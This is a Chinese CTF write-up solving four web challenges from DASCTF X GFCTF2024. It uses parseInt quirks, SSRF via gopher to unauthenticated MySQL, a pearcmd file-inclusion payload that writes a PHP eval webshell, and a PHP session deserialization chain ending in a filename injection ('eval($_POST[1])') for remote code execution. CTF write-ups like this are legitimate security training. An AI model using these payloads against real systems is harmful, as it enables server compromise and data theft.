DASCTF X GFCTF2024 | 四月开启第一局wp
cool_index
1 | index = parseInt(index); |
考察parseInt()函数的特性
这个函数处理数组只取第一个值,或者处理数字开头的字符串也会只取前面的数字
eg.1
2
3
4
5
6
7
8
9
10
11
12
const index = parseInt("7a");
const target=7;
console.log(index);
console.log(index>target);
console.log(Number.isNaN(index))
var test2=Array("7","2");
var res2=parseInt(test2);
console.log(parseInt(res2));
console.log(Number.isNaN(res2));
console.log(res2>7);
输出1
2
3
4
5
67
false
false
7
false
false
EasySignin
这里抓包很明显发现可以修改任意用户的密码,我们尝试修改admin的密码,然后登录admin的账号
getpicture.php接口有ssrf,但是过滤了file,etc,dict等字符串
http/gopher协议探测没有6379redis端口,查3306有mysql
打mysql未授权:
用Gopherus工具生成payload:
需要把_后面的字符串进行url编码:
尝试写木马发现写不了没权限
,那就直接读文件:1
select load_file('/flag');
SuiteCRM
有CVE: https://fluidattacks.com/advisories/silva/
无法上次图片,但是有文件包含点,直接pearcmd1
/index.php//usr/local/lib/php/pearcmd.php?+config-create+/<?=eval($_POST[1])?>+/tmp/evil.php
web1234
/www.zip
有源码泄露
简单的session反序列化,挺有意思的
就三个类,有个backdoor参数可以执行无参函数
首先解码admin的密码1
2
3
4public function resetconf(){
//返回出厂设置
file_put_contents("/tmp/Config", base64_decode('Tzo2OiJDb25maWciOjc6e3M6NToidW5hbWUiO3M6NToiYWRtaW4iO3M6NjoicGFzc3dkIjtzOjMyOiI1MGI5NzQ4Mjg5OTEwNDM2YmZkZDM0YmRhN2IxYzlkOSI7czo2OiJhdmF0YXIiO3M6MTA6Ii90bXAvMS5wbmciO3M6ODoibmlja25hbWUiO3M6MTU6IuWwj+eGiui9r+ezlk92TyI7czozOiJzZXgiO3M6Mzoi5aWzIjtzOjQ6Im1haWwiO3M6MTU6ImFkbWluQGFkbWluLmNvbSI7czo2OiJ0ZWxudW0iO3M6MTE6IjEyMzQ1Njc4OTAxIjt9'));
}
base64解码:1
O:6:"Config":7:{s:5:"uname";s:5:"admin";s:6:"passwd";s:32:"50b9748289910436bfdd34bda7b1c9d9";s:6:"avatar";s:10:"/tmp/1.png";s:8:"nickname";s:15:"小熊软糖OvO";s:3:"sex";s:3:"女";s:4:"mail";s:15:"admin@admin.com";s:6:"telnum";s:11:"12345678901";}
md5解密
执行phpinfo():1
?uname=admin&passwd=1q2w3e&backdoor=phpinfo
寻找session的php处理器
格式是键名+竖线+经过 serialize() 函数反序列处理的值
链子:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Admin{
public $Config;
}
class Config{
public $uname;
public $passwd;
public $avatar;
public $nickname;
public $sex;
public $mail;
public $telnum;
}
class Log{
public $data;
}
$res=new Config();
$sink=new Log();
$sink->data="log_start()";
$res->avatar=$sink;
echo serialize($res);
1 | O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";s:11:"log_start()";}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;} |
本地docker调试:
首先序列化初始化函数
wakeup有后门无参函数,这里我们用session_start()来反序列化/tmp下的sess_xxx文件
可以发现此时已经有了sess_jmx文件,它是空的
然后获取我们提交的表单,进入editconf函数
先进入upload函数
它的作用是将我们提交的avator值写入对应/tmp/avator名字文件里
此时我们cat /tmp/sess_jmx
成功写入恶意序列化数据
然后进入Config的sleep魔术方法
这里将我们写入的内容base64加密以图片方式返回
我们第二次发包,内容和第一次一样,第二次会反序列化sess_jmx数据,但是会先调用sleep魔术方法(也不知道啥机制)
先进入config的sleep方法:
进入showconf()
然后进入Log的toString()
给record.php写内容
然后我们第三次发包,只改文件名为木马1';eval($_POST[1]);#
cookie需要改下: Cookie: PHPSESSID=jmx123;
,因为我们不需要反序列化sess_jmx文件的数据,如果那样的话会再写一次<?php\nerror_reporting(0);\n
因为我们这次可以直接进入Log.log()方法
我们构造的文件名在初始化函数会拼接,闭合前面单引号,注释后面1
$_1713788177 = 'Edit: avatar->/tmp/1';eval($_POST[1]);#, nickname->, sex->武装直升机, mail->, telnum->';
最后RCE